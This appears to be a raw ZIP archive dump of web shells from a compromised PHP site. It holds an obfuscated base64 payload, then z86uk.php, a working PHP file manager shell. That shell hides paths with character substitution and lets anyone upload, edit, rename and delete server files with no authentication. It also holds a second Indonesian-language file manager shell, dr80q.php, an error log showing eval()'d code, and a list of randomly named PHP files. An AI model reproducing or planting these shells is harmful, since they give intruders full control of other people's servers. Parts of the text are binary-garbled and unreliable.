t3UURINnBSd2ROaCtIV3RxSlJ2ZjErLytGK3E1UzBRcTc4NkJEbzFEUEFXLzdLOUZ4U2d3TmZOWWI5K1JVZHZvc2RMNDBpR2xab3dWUllna2JkelFZcXRZdHFsWEdtS2FJQlJKWGxTVzVlV2I3NDVoSXlUcDc1RmU5K1lGWUljL0psMk12OUJJd051dmVGdjh4ZHBrRStNeGRuUU82ZnFmV1d6ZVJ5aVNxWUhDdUVqNjE0ZUlvWVBoOXdMbElqUlJMQ2tRcFRmSnA1MXRNRWNjdXRUNVhMQ2c1SEM0by81TWtRT2krVW5MTTNob3ZvOE1jcjhrK1libDRpYVcrZExHUmZha0ppakJrMzBySnl3aWdDZFZJQmFYMTBVbkd2T1lmSzUyYnpxRlRFcXBOWjZXQTBjc0E4RkhSR2tWcjlZcUgxNG9vK3daY3RyZEE1bnFFUTAvTVA4TUxyV0R5L2JmRUtmRUVYY0lOdm02c25JdHhLZlJsT3ZFQW1vRngvZU95d3k4RFZ2Skdrbzg4Sm9OSVltdWFzZ0FBU2Q4TlNxOVdxZWJCZE9xenFmZ0NFMmdsQnRETWgyNG9wMDBEV0ROWm9GUjQ4R0RxODdlSnE3YVQrR1BGWngrd000M3VzendMYWcvRjZnM3M0Z1FRZGE5citGMS82UDlSbDRtZXNjZnJxQ3NCS2d4cS9TVGhTNlFqQUhzZ21aRGFtV0puWllNNk1kM2NzSW5LRkpWQm9VL1F5cmVGM2ZXZmVWV2ozODJBcWhQZ2tSZ1ViejErbDFmUjBpeEx0TUU4akJCbDRTUmFIR2VTUGozOG1UUjVuU0FoZzMyQk1tTHlrM2VvYlRGUGticGNqOXZ1UDBqV251c2IzQ0JBcEluK2h3dDZ2Q1o0QXdoTVY3eVZBM1BGWmtEdG5IRFlvS2t5SDNMTE9qb3JRSW1wZkkzMlU0Mkp5QVVOS2JwbzY1S3BQRk9aZ3k2VCtMaldBM2p0Mk9RWU1WZ0Ywc1hVNGcyNG15MkV4MVBGR1ZxM29CTU1maGRXdFJEUTlqOGtISlRtMzhqbW1OaTJzcWZ4cXMzS0NKbHArbitJczVBdlUvS2trWWRSeHBVaUhIejQ5aTYxa2J0eXRLL08wSVFGb0tiRTFpZFQxQXArK1NPREZwR01RcDR0cnBESnZEWXBWd0ZPZVNvMDBLZWEzWVpDTlh0MjRPUjlGc3RvOVJGeUozcmJjdzB3ZVVOL2ozY1ZvYzJRSWM3ckl4dWxEL2c2YkpLUzhtMUVqMGp4MnViQXZWOEhqRWN5QUs0bVVvTElpRWtXY0plR2ZMVjFRUmd5S01KTEpBbmF5UVhXa0pEMSt0eFh2N2VJSlJxRDU5WDBCTFZDR0tub2lheXo4SnBqTUpDcG16eDUzT1g2ZXVIUUoraTdDay9IWHlqalFvUWxKb3BTWDMzL3JoSTFQckJMUjBKTm1GS0RqcGE3a3ZqUkZsTEZlVnpCMEdrbzBHaDRVS0xmQ0txem1UTWMxVFRaU1U4eXMvNzdmOFdtNWtqL3NXay9NNG5jVW1sZTdIWXFSYTBhZmdqaW4vUlZBWmNoeDdveFkrSTF5a3M2dlVWSUJVbTByZHpyWkF1cTdrUVRlcXBUMnc2RU9rampJR2tSUGFCc1YrSzh4d0hqcGFEL0NObGtZeWkzdy9NQU1QdXRuYUhHUnFQNlZKd1RQZVhmNnEvSUpSZkxZQzBZSUpxTEt3akdnR2EzSlRPaHZzdHN2RFBZZW1PSkJQaE12eWkwU2NQL0NveVVscm5wQlhNTHdPaU1sQ0JheFhjVldDenozQnVJM1NjZUlEKzZNdVFRSnNrWjRnTGVMcmM0ZVAyeUlydzdWTnU2UXNUb1F3WVFxR2Rqc25RVzlCeTJ2ZzhUa0k1MG9BYVY3QW8xcHlldS9UcTR2aEVMNytrZVpIbXBQK3RnUFpkQ3ptcFpzeVZWNUdaTTFZdXZkdzdRU2xJc3Q5S0dTMU1KaHV1dnNWSUVvOVZaMGdRZS9iKzJNZ3JQelVpT21qUmx4NVJFWERUR3lraWRIUjJ4N0dZbUEwUVFnSjVCQThTbE1KTHl4Qit4b21MaGxCUjlsdFN0aGFRZWVmV0FqbVFiQW1oaDF2dXd3eGVpaytYMENvRGRxSDIzNWt2ektDUEdla3ZIRmZXcEFIL1F0RnF0SWtDQlE2WkpNUXBOUUdlemU0cnJzOFBldmZmblhxVFFiSC8zMkFTL0tjVzlMaWNDRjl5NE9DZHhMSHg5c1JOMDZOK3VMTjk4NG0vLzRwVVRMT2Q0VkpLaVdCcEMwV1UvbUZMUVVaOEhYMkRKVUdrSWtEV0lKVEZadkdIanMzc2VWVDlLWEpPZnRXTU51YXV5d3RXWHNLZzNMOVNZSVBzL1hYSmlKL3RTNDNNVGlBNXd4VDJIdmVBWnh1eEZ2S0h3a0FWWGV4RnZmeWFZOHJKVzVnakZRdUFYNXMvZEVvTnl5QUM5ZWZIUDdwSkpLUkY1OVJsMzJoWUtqbjZ0T1BzK1hQWDh5cFgrYkp4MUF6b2xpT2lBclJrZjFPSkFkczNzd3VBckpyYkdnOHphRkRDK21ueXJhcjJpaExMeUN2TWxwVTN1ZnNLNWU0dWFTNi8wSHJlc0VLR0ZuZXJvbGU0aThqYWxiQXMxZjNJSEplVC9RVTk0U2NON01vOXowQVBpZ0F1NlgwanU4WHFidWxSZU1haDEvUVNEZ2JSUHRyQlZ1K3B1VllIcm94QnBLVVdHSjR1V2taZFpETkhCZ1NMdjE4ZzVOSnJSZjFJYzdrdExoUmtsVjVodjcrMkgrYm13K0N5ZGdsZHYvNi9UZGk0ZHcvclF5bGRNOUQ2SXp2WnZrcmxEL3M4Sm1RWXpXWjY2MHdIaHlhQ1FxakdidXFsUi82cFIyUXg2djhoZ1VubGcyRFVQZGVXeFB1UU0rSm05dzU4RDN6azRDd0ZvUFpIQU9PcTZBK29rbGd3Q2diMTVvMUJaSmQ2cm5UeGREOGt2K2ZqQXp4L1NTQUF3b2FIN0U3R2VjcEt6OGFMczdTU2tBZXhnNDFrV0pXaHhVYVVmeXFXWVVFa3E1dG84MGc2ZVduRUlnVUw0OUJjU2dDcDlkYWwxcjlNcVNtdjRobzV4UjUzSEhqWWVpMXhER3NmaVVZR0V1eG1yMktDUXQ4UnA5OVFQNUJGMkxIYzFHTHlXSHlSRWpvbGp2SFY0cy93WFJ0YTZmaGdmT0JNdlBPaHdUOVY4ZFdVb2F0L1ZNRTJjb0lNRFN5cmhiYVpoR1V2dzZBQVFNQmFlb3IwMkJBdnhPTER1YTB2Z3ZYalZwcW5TVDhkSGVkUTg3dnYxQzU1YUE3TlpvWnFTWjVNd29oY1pPc2dlTHRQQTMrRUsraGFiRG00dnJ3cjc0ZmZWZGlxUmoySGVVb25tS01oOFN3djN6dEU5WjFKOGw1bTZ5OFJ3ZUczd3ozQ1AvYlpSZnNlOXdkeTNlTmNRT0t2MzB5WHp6ZlV5M3BsVzZsbEp3OFI2QUtPR3liYW1USlcwSHM5V3lYYVJzdzZWazcvWkJ1ZVVIM25hTlVlUzEydUdkbVdTY2Q3R1U0cDJFRHE4VFBOVkxnSW00dlB5OGllMFNualNyVDV0aFk0WkFBejZLWk9BVWNHbk90MHpwd1U5ejFaYkVDcUQ0Mk1ld2l4c1JlVmVhR3pNdG1HcERVTjk1M2tkdFZSM3ZocVdROEdxMzk5cDlET1BIZE1BaHFuSkdOUlovZ0pwdlZGNFppa2UwOGMxZmtXT1VRbS9LR1owVjdKMGZweTBaRzdmeWxCb05IZUhCZ1p3c3NJOXVwUTUwVlpwNElHdXZKRDErMzA3V2lVa1I3UzZtbmdOWENOVG45Z2JWM1U5NkZ3WTRucEp6a1c3cnhyQ3M5Znp3WWFuVGZ2eGpEM3pydWprUSs2M1pRZEp1eC84ZGY4RG5naHZEQUNxNWQxakJ6eVVzN09hUVU3UXJOeUNyeGtvZjY1UVIyRkxZcWcvK0JDOEZUSmdaWjZISEpzNEdueXhzZ2VyTjRTRmJTUXhwd0hYUnFTZFVmTkRack1TTWJEQWtISG56NUFXQU5MSlgwKzBrN1lpNjhUMjZSc3RVclIwZlI3YkpXeTRrcnFqM2xZQjk0OUI5aU9zSmc4UUIrYkRYbUVXSWNlMWNHZG1IUGpHKzNiQjJOOGR0MG5mbzhibkt1OVRRUE02VUtjb3EzTUNQUXNiNk9kWmJTenNHenMyOUxMM29iakdHbVIxTTl0cUtQRDhsQkhlQTNCWDBpdmhIWmRVWjdmbVIzd0k2aStONTEvdFRER2NBR2MwUHRiWVNKVSt0c0IwZCtldzlDa2dlcEhYVllDclZ3MmJHU2lCU3lvVjlZMDZxTXlaNEs4ek00bkdHM25YRiswR2J6RTJQaEdEdHgzSDVYQmdQSkJjUHZPaGFqeENmYVNxV0gwR1c3c2tPWGgrek5JbmlTbHJJZEFVOUY4WUl6dGMyYmZXRTdBQ3NFYVRlNXlBYWcraTV6cXplaTZPNVBIUGJhM3FLYnc0Q01MMnZkazBjbE8vZkh2MWxzc1U4Vm13aDFuZVc1eVpnSTBDRFFyMzJtbE9sK3VaUFl5WE1QUGsydjgzd1hLYUFJakhuTVNhRUhZaXBUcDhIUXppa294YmppZ0JRd3NPby9oNGxXRlJBcXJNZUFRMGc2UEp4MWpZeXBwZ0NLNjlUUkMxNWFWM3QzSjBaSDg0YlJieXZ5YkNXb04yRFJ6T3JZM3FXcHBZYkRGUDhmZTdnSE5YUGM2aHkrWlU4VEJuR1lNa01hUnJ5dTBLdWhDYXhwV2JQZGhQeWMxeS9mNGlZSXFyVXBUcit6YUhydXRCSmJkQmhDVlYrMkNDVXdCQXpvVXp6Vks1SnJOMXc2cWF3MjcrMVJiZXR4NDlmaDl6VnZBc3RkWG9VZFFicVEvdDlEaEdBcERXYVdXYWhIbEdhc2pEaytxVThsc2trYStqNDhSdUhpY1dEYUZ1WUZ1OXkrdXdnRlVsN1FjdkNvczQvSWNEcGVmOTlraTNtM1ltRDVMU0pNSWY1L0FmMFZuN0dNMUlKdDJnaDhDSDBPOXQrb1ZSdUthTG1zZmRqN1EzUDVpK0NPSzRoRVpBS3Vsa1I1V1VYZWpUYy9pNmk1VUtQZkc1NHhhMDc0TnJyWnE3ZzRjL3NZVGFhOHpDbXRSSFpEaERLbXVkYk9VZGMrSXloY3FBQSsreG01Qi9iVjJjRmJMYXlIa3pqRlNidjNTQTQzVTVNOVdsU1Nka2w0Z2t1RlFBdUZoeGxjUHNRVFNpRkxkbzZGL0dHZmNlZUJHQk5oOTdrY3NkaDNoTkNwMVBMMjIwUFZqVENJVytlalJaUVhIanV0dEx2UnRhMloxcDRzck10VjJwRXJyOWNuZEI5Vlc2YU9CYmFjYi9HZ3IyYlRwNTVjQnZYMHliUUUweFpIcUtCK1BPUmgzaXM5ZzFwdkRsc2RRQ1AxMHpIVXBLSVB4aFBzOTlZMU1XMm9uTVdDTFRsUHkrK1BqS1RPOVZHMzV5a2tzME9MdG5xUk5sNGUyS3ViY280VWp1N29JRTJTZkQ4UUQzdEZRMU1DYytYN3RSVzl3YUlTa0VwdExyY2ZRdi9tUFFva0UzcHFST0RvMGl5citXREdDTnZPT2xOdFQ2WjZiUHJ6bVVwRnF0SGFQaWZpZWFyVWNCeXlEQlVOSmxxT3R0WjhMd3NrSFZlYW4xNlhxaGpSYlpYZlZnWEh6RmVBUmJIcWZDa3NRdmpHMjROR25Sd3JtTVVGYkY4OGdFZ2NXcTJuR1pmTnNSV2VYQ28vczdEdzFvdy80YlFNSmpUK29qdWVLNWhpK1cxQjJxdm5RVjZVbFJ1d0FzeEF2dlFDUHBjcWU2YkxuYTljWU9iN2ZLQWcxYXpzRHdaY2xUaVJpYWg5cVBVSU95czBZWWFzeU8xZlZlV2drcUhUWTBjb0RPWkxXQll3L2trem03VlpmdHRVYlFMZHlzTGFIalZiZXZIVXlUOUZMNk9TVzhNRnZKc29oUWJ4OEg3OEcxcEg5MHJSMlk3Z2xER1JSNDVLKzYvTld6bnd5WmdUT3dxZG5raUZpK0U0NHZ4NlNQN1lOZXEwZXFzMTBRZ3ZKMTRNZG92Z0t4alMrT0JuUVdWZFZWb2MzSkRrY1FmT0t5U3htNUU4UW83cDJrSGJzNkpURXJkZGoyNkp4MGdNSldOb0ZaNm05b25nSk8wWWZrVXQ1eG1zVzkzRW4rVVFKK3F0TTFFR1Z1eWZDRHRSNis4R1gyejhDVGNQUTdmQTE0ZllFNVBkaXA2aW03bVY5bXlZSmRFM2p6L2RjY2tYK3loYUIvaVV0SXJ1aXl2bXM5VEdlYyszL0xXcDlIOWtIZEIxQmdKK0prUjlKU3NLOUd6SWt1T3MydkZZRjh1Ry84eFM2NkF5SmIrMG9nOGVtcCtUYmtVNkNNTDhXWndGakdVT0QxN1FuYW8rRExLMXJvczF3WTlseDFqdEE1L013eEd6dzFYTkNEa3JzRGMrS1VvbG5mNTVSaWMvYlMvWmZXQzlENDZYaW01b2REMXY1azBiVlUrT1dLQytzN3Ayb1hUNk00VEdxd0h4OUtFTzYwV0VJOTZWQUFIL3lMUGNUM0haSllkV0xYUjc1dG04eThudTRndElOWkljcWQvVnhtN01XaEJXMEFlV3hkb1NtMHJTc0c3bzJmenZGMndXTzlDU09MOWd4allEMTFZTVRMMnVWd3prK3lUSmtDNm9Ic1VTckFUbU80V2hkSGZiZXJzSzdSQU9QNFFsYnBQcW1D [/PHPkoru_Code] PK@em\9gZ,, z86uk.phpnu[]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;' = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> PK@em\T)) error_lognu[[13-Mar-2026 19:25:46 UTC] PHP Warning: Undefined array key "visits" in /tmp/phptpd9aH#2eddibrother.php56(194) : eval()'d code on line 1 [13-Mar-2026 19:25:46 UTC] PHP Warning: Undefined variable $auth_pass in /tmp/phptpd9aH#2eddibrother.php56(194) : eval()'d code on line 9 PK@em\KV dr80q.phpnu[File disimpan.

"; } $content = htmlspecialchars(file_get_contents($file)); echo "

Edit: ".basename($file)."

"; echo "

"; echo "

Kembali

"; exit; } } // Upload if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) { $tmpName = $_FILES['upload']['tmp_name']; $name = basename($_FILES['upload']['name']); move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name); header("Location: ?path=" . urlencode($currentDir)); exit; } $items = scandir($currentDir); ?>

File Manager

Path:

⬅️ Kembali

NamaAksiRename
$item" : $item ?> Download | View/Edit | Hapus
PK=em\MQK 146yi.phpnu[PK=em\M huext.phpnu[PK=em\Aj%\%\ 962ta.phpnu[PK=em\Ș /qabout.phpnu[PK=em\حrr [rindex.phpnu[PK=em\^6Tc2c2 si6emf.phpnu[PK=em\RHH vfze4.phpnu[PK=em\Q0,0, #95r6k.phpnu[PK=em\>d## 6g259.phpnu[PK@em\~\ݸ5 5 z8op2.phpnu[PK@em\Z )"b9xpi.phpnu[PK@em\[PKII  ed9yc.phpnu[PK@em\ϙsamurai_activity.lognu[PK@em\~:>> awmi1.phpnu[PK@em\9gZ,, Q[ z86uk.phpnu[PK@em\T)) 7 error_lognu[PK@em\KV  dr80q.phpnu[PK